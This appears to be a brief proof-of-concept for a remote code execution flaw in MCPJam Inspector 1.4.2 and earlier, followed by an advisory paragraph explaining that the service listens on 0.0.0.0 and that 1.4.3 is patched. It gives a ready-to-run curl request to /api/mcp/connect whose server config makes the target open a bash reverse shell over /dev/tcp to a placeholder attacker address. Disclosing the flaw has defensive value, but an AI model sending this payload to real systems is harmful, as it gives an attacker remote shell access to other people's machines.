
PoC about vulnerability in MCP Server.
automated for the part of the post with the correct body.
/api/mcp/connect
curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '{"serverConfig":{"command":"bash","args":["-c","bash -i >& /dev/tcp/TUIP/TUPUERTO 0>&1"],"env":{}},"serverId":"pruebaxd"}'
MCPJam Inspector is the first local development platform for MCP servers. Versions 1.4.2 and earlier are vulnerable to a remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. Since the MCPJam Inspector listens by default on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger RCE remotely via a simple HTTP request. Version 1.4.3 contains a patch.